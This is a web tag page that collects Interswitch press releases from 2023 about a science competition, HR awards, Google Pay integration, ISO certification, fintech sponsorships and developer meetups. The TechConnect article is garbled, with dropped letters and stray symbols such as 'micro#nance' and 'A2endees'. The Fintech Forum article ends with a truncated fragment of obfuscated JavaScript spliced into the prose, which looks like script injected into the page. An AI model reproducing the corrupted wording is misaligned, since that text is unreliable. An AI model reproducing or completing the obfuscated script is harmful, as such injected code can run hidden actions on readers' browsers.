Interswitch, one of Africa's leading integrated payments and digital commerce companies, is set to commence airing of the fifth edition of the National Science Competition, InterswitchSPAK, its flagship Corporate Social Responsibility (CSR) initiative. The STEM-focused competition will premiere in Nigeria and Kenya on October 29, 2023, signifying Interswitch's unwavering commitment to fostering educational excellence and empowering Africa's youth by rewarding their passion for Science, Technology, Engineering, and Mathematics (STEM). Each thrilling and suspense-filled episode will feature a set of contestants slugging it out for the grand prize. Viewers can catch the twists and turns of the show as it unravels on their TV screens every Sunday at 6:00 p.m. on DSTV Africa Magic Family Channel 154, and on the AIT network at 7.30pm with a repeat broadcast every Wednesday at 3:30 p.m. on DSTV Africa Magic Family Channel. At the end of the competition, the top 3 contestants will be rewarded with the sum of N12.5 million. The winner will receive N7.5 million, spread across a period of five years, a laptop, and monthly stipends; the second-place winner will cart away N4 million worth of scholarships, spread over three years, a laptop, and monthly stipends, while the third-place winner will be rewarded with a N1 million scholarship for one-year, monthly stipends, and a laptop. In a bid to reward more participants in this year’s commemorative edition, the 4th to 24th top candidates will also receive varying cash rewards up to the tune of N250,000 for their grit, passion and outstanding participation during the finals and semi-finals, premised on the principle that every SPAKster, as they are fondly called, is a winner. Additionally, this year’s competition will recognize and reward exceptional teachers. The top 27 teachers in Nigeria and the top 6 teachers in Kenya will receive cash prizes in recognition
Tag: Interswitch
Interswitch Sweeps Four Awards at HR People Magazine Awards, Reinforces Commitment to HR Excellence
Interswitch, Africa's leading integrated payments and digital commerce company has emerged victorious at the prestigious HR People Magazine Awards, held at the Lagos Oriental Hotel in Victoria Island, Lagos. The company clinched four accolades, including HR Team of the Year, Outstanding in Employer Branding, Best in Work-Life Harmony, and the esteemed HR Champion Award presented to Mitchell Elegbe, Founder and Group Managing Director of Interswitch Group. Interswitch's triumphant showing at the awards ceremony underscores its unwavering commitment to maintaining exemplary human resource practices, reaffirming its status as a distinguished employer brand. The 8th edition of the HR People Magazine Awards aimed to honor and celebrate organizations that have exhibited exceptional HR leadership through commendable people management practices. Interswitch expressed its gratitude for the recognition and restated the company's dedication to nurturing a workplace environment that fosters growth, inclusivity, and continuous improvement. The company revealed that the recognition acknowledges its HR professionals' hard work and commitment, as they continue to tirelessly cultivate a culture of excellence, innovation, and inclusivity within the organization. These recent awards add to Interswitch's growing list of recognitions. In 2022, Interswitch won the Best Employer Brand – Sub-Saharan Africa at the LinkedIn Talent Awards and the 2022 Top Company (Nigeria) as well as the 2023 Top Company (Nigeria) distinctions. Interswitch remains steadfast in its commitment to delivering innovative, seamless, and secure payment solutions to its customers while prioritizing its dedicated employees' growth and well-being.
Interswitch Spotlights Digital Payments Innovaon in Micronance Banking at TechConnect in Port-Harcourt
Interswitch, one of Africa’s leading integrated payments and digital commerce companies, recently hosted the Port-Harcourt edion of its TechConnect event, bringing together industry leaders, experts, and stakeholders to explore the transformave impact of digital payments in the micro#nance sector. The event featured an insigh%ul keynote address delivered by Tyoyila Aga, Group Head, Financial Services Business, Digital Infrastructure & Managed Services (Interswitch Systegra) on the latest trends in digital payment soluons, such as mobile wallets, QR codes, and contactless payments, emphasizing their pivotal role in shaping the future landscape of micro#nance banking. A2endees also gained valuable insights into the technological advancements that are revoluonizing #nancial services and the potenal these innovaons hold for #nancial inclusion and economic empowerment. Speaking at the event, Aga noted that digital payments innovaon is big for the micro#nance sector as it comes with opportunies for growth, and ulmately, #nancial inclusion, hence the reason Interswitch is at the forefront of driving the growth of digital payments across the country and beyond. He said, “We are excited to have come this far in propagang the good news around what digital payment innovaon holds for our micro#nance sector. At Interswitch, we are all about innovaon and as a company commi2ed to driving the digital transformaon of Nigeria's #nancial services, we are proud to play a leading role in shaping
Interswitch Launches Google Pay Support on its Payment Gateway in Nigeria
Starting today, Interswitch, Africa’s leading integrated payments and digital commerce company, will support Google Pay on its Interswitch Payment Gateway (IPG) platform. This initiative enables businesses and individuals in Nigeria to benefit from the simplicity and security of contactless payments and digital storage, aligning with the global trend towards more streamlined transactions. Merchants can now store payment details within Google Wallet. This integration facilitates a smoother checkout process on the Interswitch platform, heightening the user experience. Additionally, the collaboration enables the acceptance of international cards on the Interswitch Payment Gateway, positioning businesses to seamlessly cater to a broader international clientele. Utilizing Google Pay on the Interswitch platform ensures safer transactions fortified by advanced security measures. This includes industry-standard tokenization where transactions utilize a virtual card number, adding an extra layer of protection against potential fraud. And in cases of misplaced devices, users can quickly safeguard their information using the "Find my device" function. Muyiwa Asagba, Managing Director, Digital Commerce & Merchant Acquiring at Interswitch, said, "We are proud to align with Google Pay, as it exemplifies our commitment to delivering cutting-edge payment solutions that facilitate seamless transactions for businesses and their customers. By integrating Google Pay into our Payment Gateway, we are empowering businesses to harness the potential of a global customer base while ensuring secure and reliable payments." “Google Pay provides a fast, easy, and safe way for users in more than 70 countries and territories to pay with their Android phone or Wear OS device,” said Jenny Cheng, Vice President and General Manager, Google Wallet. “Users can simply add their debit and credit cards to the Google Wallet app and feel confident that their financial information is safe and secure when they’re making a purchase or catching a train.” As a technology-centric company, Interswitch continues to align with brands that hold shared values
Business Continuity Management: Interswitch Maintains ISO 22301 Certification for Fifth Consecutive Year
Interswitch, Africa’s leading integrated payments and digital commerce company, has received the ISO 22301 recertification for Business Continuity Management (BCM) for the fifth consecutive year, following a rigorous surveillance audit process. Since the company’s ISO 22301 certification in August 2018, Interswitch has remained committed to upholding the global best practice in Business Continuity Management, maintaining the highest standards of operational resilience and safeguarding the interests of its customers and stakeholders. ISO 22301 is an internationally recognized standard that sets forth requirements for establishing, implementing, maintaining, and continually improving a robust Business Continuity Management System. This recertification validates Interswitch's dedication to effectively managing potential disruptions, minimizing downtime, and ensuring seamless service delivery even in the face of unexpected challenges. Maintaining the ISO 22301 certification is a testament to Interswitch's comprehensive approach to risk assessment, mitigation, and recovery planning. The certification process involved rigorous audits and evaluations of Interswitch's business processes, contingency plans, and disaster recovery capabilities. Speaking about the recertification, the Executive Vice President, Risk & Information Security at Interswitch, Griffith Ehebha said - "At Interswitch, ISO 22301 certification represents our unwavering commitment to resilience, dedication to business continuity, and profound understanding of the significance of preparing for the unexpected. ISO 22301 recertification is a proactive approach to risk management that demonstrates to stakeholders and customers that we at the Switch prioritize the continuity of our operations, even in the face of adversity. It is not just a mark of achievement; it is testament to Interswitch’s tested capacity to weather storms and emerge stronger on the other side.” MSECB, a leading provider of Audit and Certification Services in the field of Information Security and Privacy, served in the capacity of auditors for the certification process. Underscoring its commitment to global best practices, Interswitch is also certified to four other ISO standards including ISO 27001: Information Security management system,
Interswitch Empowers Product Professionals at Product Leadership Conference
Interswitch, Africa’s leading integrated payments and digital commerce company, has restated its commitment to empowering and supporting the development of the Product community in Nigeria. This outlook was reiterated by the fintech giant’s sponsorship of The Dive 2023, a Product Leadership Conference organized by the Product Management Community, Product Dive. The conference, which was held at Zone Tech Park, Gbagada, Lagos on August 12, 2023, proved to be an invaluable platform for the exchange of ideas, insights, and strategies that will undoubtedly shape the future of product leadership in Nigeria and beyond. It brought together Product Managers, Heads of Product, start-up founders and ambitious leaders from various industries to enrich their expertise, forge connections, and ignite innovation within their organizations. Speakers and facilitators at the conference included Ebi Atawodi, the Director of Product at Google, who delivered the keynote; Nnanna Enyi, Principal Product Manager at Amazon (and ex-Interswitch) and Bunmi Ayeh, Product Lead at Meta. Through this partnership with Product Dive, Interswitch sustains its ongoing support for the Product community as part of its commitment to foster development in the tech ecosystem. Commenting on the essence of the event and Interswitch's partnership with the event organizers, Tomi Ogunlesi, Group Head, Brands and Communications at Interswitch, noted that the company remains committed to identifying and nurturing platforms that will drive the growth of product professionals and tech talent as a whole. He said, "Our support for The Dive 2023 aligns with our pursuit of empowering the tech community and reflects our belief in the transformative potential of collaboration and skill development. We are resolute in our mission to contribute to a thriving ecosystem where innovation and expertise intersect harmoniously." Interswitch's engagement with The Dive 2023 is just a glimpse its sustained dedication to the product community. Building upon the success of The Dive 2023, Interswitch is poised to
Interswitch Advocates for Advanced Digital Payment Solutions to Boost Cross-Border Transactions
Interswitch, Africa’s leading integrated payments and digital commerce company, has emphasized the need for more innovative solutions to effectively address issues hindering the growth of intra-continental trade. This submission was made by Akeem Lawal, Managing Director, Payment Processing & Switching (Interswitch Purepay) during a panel session at the recently concluded 2023 Zenith Bank International Trade Seminar held at the Civic Centre, Victoria Island, Lagos. According to Lawal, he noted that the prevailing issues limiting cross-border payments can be solved through advanced digital payment platforms that enable seamless intra-continental transactions. He acknowledged the prevailing issues affecting cross-border payments, positing that existing infrastructure can be improved to create opportunities for businesses within Nigeria to transact with businesses beyond the borders of the country. He said, "Businesses can achieve greater strides by embracing digitization. This opportunity cuts across private businesses, government parastatals and financial institutions. Digitization is critical for designing platforms for Small and Medium Enterprises (SMEs) in the export business to enable them complete transactions successfully with little to no constraints." The seminar themed, “Nigerian Non-Oil Export Industry: The Present, The Future”, also identified the impact of Nigeria's service industry, with a focus on the creative and technology sectors and their impact to the country's development. Speaking on the critical significance of these sectors, Lawal emphasized the need for fortified public-private partnerships to drive growth in Nigeria's service industry which has consistently played a substantial role in the country's overall Gross Domestic Product (GDP). He noted that Nigeria was a high exporter of technological expertise and that a significant investment in technology-focused companies would augment the sector's contribution to the economy. As part of the collaboration between the government and private sector players, Lawal highlighted necessary interventions that would support the growth and development of the service sector including training workshops, the promotion of innovative systems, and conducive policy
Interswitch to Sponsor 2nd Nigeria Fintech Forum, Showcasing Africa’s Thriving Fintech Landscape
Interswitch Group, Africa’s leading integrated payments and digital commerce company has been announced as sponsor of the second edition of the Nigeria Fintech Forum, scheduled to take place on August 3rd, 2023, at the prestigious Civic Center in Victoria Island, Lagos. Organized by Eventhive.ng, the Nigeria Fintech Forum is a highly anticipated event that draws prominent stakeholders from both the public and private sectors within Nigeria's financial technology ecosystem to discuss global and national trends in the industry. Delivering the event's keynote address will be Akeem Lawal, Managing Director, Payment Processing and Switching (Interswitch Purepay). In his statement, Lawal said, "As a pioneer in the African fintech ecosystem, Interswitch is committed to driving innovation, collaboration, and growth within the financial services industry. We are pleased to sponsor the Nigeria Fintech Forum for the second consecutive year and provide a global platform for meaningful discussions that will shape the future of finance in Nigeria." The event will offer a range of activities, including leaders' forums, networking sessions, workshops, and engaging panel discussions featuring industry experts like Babatunde Okufi, Group Head for Business Development, Interswitch Purepay, and Tyoyila Aga, Group Head of Financial Services, Digital Infrastructure & Managed Services (Interswitch Systegra). Conversations during the forum will spotlight topical issues, including an insightful assessment of the Nigerian fintech sector and the redefinition of the ecosystem's fight against fraud and financial crimes. As a strategic partner of the event's organizers, Interswitch Group previously served as the headline sponsor for the debut edition of the Nigeria Fintech Forum held in 2022. This commitment underscores the company's unwavering focus on fostering growth within Nigeria's fintech ecosystem and beyond. Championing a technology-forward approach, Interswitch continues to actively pursue opportunities for collaborations with players in the fintech ecosystem, furthering its overarching goal to create a digitally inclusive and prosperous Africa. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
Interswitch Empowers Developers, Drives Innovation with Successful Developer Connect Event
Africa's leading integrated payments and digital commerce company, Interswitch, has hosted developers and other tech ecosystem stakeholders to an insightful session in Lagos tagged ‘The Coded Meetup’ where the company presented a plethora of its cutting-edge APIs designed to strengthen the digital payment ecosystem in the country and beyond. The Developer Connect Series is a catalyst for collaboration, innovation and growth within the Interswitch Developer Community. Attendees, consisting of seasoned Developers, Product Designers, Product Managers and those just starting their tech careers, enjoyed immersive learning, gained valuable insights and were awash with networking opportunities. Participants were reintroduced to the Interswitch Developer Referral Program, designed to incentivize Developers, Product Managers, and Product Designers who refer partners, colleagues, or business owners to Quickteller Business. With the Interswitch Developer Referral Program, referrers earn 5% commission for 5 years (5 for 5) on transaction fees when clients referred register on Quickteller Business, integrate Interswitch Payment Gateway and consummate transactions. This initiative reinforces Interswitch's commitment to empowering and rewarding its Developer Community. During the event, Interswitch APIs and use-cases were showcased, unlocking a world of possibilities for seamlessly integrating payment solutions, value-added services and other financial services into their applications. By harnessing the power of Interswitch APIs, Developers can create transformative solutions and deliver unparalleled experiences to their customers. Speaking at the event, Babafemi Ogungbamila, Chief Information Officer, Interswitch, said the company is at the forefront of driving the growth of the Developer Community not only in Nigeria, but also across Africa. He further stated with the current realities of the fintech ecosystem in Nigeria, opportunities abound for Developers to explore, design cutting-edge products, improve offerings and provide superior user experience to customers. He said “At Interswitch, we remain committed to closing the gap in the payment ecosystem, this is why we organised The Developer Connect Series to empower and
Interswitch Set To Host Developer Connect Series, “The Coded Meetup”
Interswitch, Africa’s leading integrated payments and digital commerce company, has unveiled plans for its upcoming Developer Connect Series tagged The Coded Meetup. The event is aimed at fostering live interactions amongst existing and prospective members of the Interswitch Developer Community, educating participants on Interswitch APIs and relevant use-cases for building tech products, sharing notable insights on industry advancements within and outside Interswitch and much more. The event scheduled to take place on Saturday, June 10, 2023, at GoMyCode Lagos, 230 Herbert Macaulay way, Alagomeji Yaba, Lagos, will promote collaboration, innovation, and growth within the Interswitch Developer Community. Another key highlight of event will be the re-introduction of the Interswitch Developer Referral Program, an initiative to incentivize developers who refer potential partners, tech builders or businesses to Quickteller Business. This initiative offers referrers a code-free way to earn extra passive income. Muyiwa Asagba, Managing Director, Digital Commerce and Merchant Acquiring (Interswitch Paymate), said the company is at the forefront of driving growth within the developer community in Nigeria and plans to extend this to other African countries in the near future. He said "The Developer Connect Series is an expression of our commitment towards fostering innovation and enabling developers thrive. Through this initiative, we are providing a platform for collaboration and knowledge-sharing among developers and professionals in the technology ecosystem, equipping them with the necessary tools and insights to harness the full potential of Interswitch's APIs, gain valuable insights, and leverage our technology to create transformative solutions. “At Interswitch, we strongly recognize the importance of nurturing technological talents, and we believe in the power of collaboration and knowledge-sharing to drive advancements in the industry,” Asagba added. These APIs will enable developers to seamlessly integrate payment solutions, value added services, identity verification systems, and other financial services into their applications. By understanding the potential of Interswitch APIs,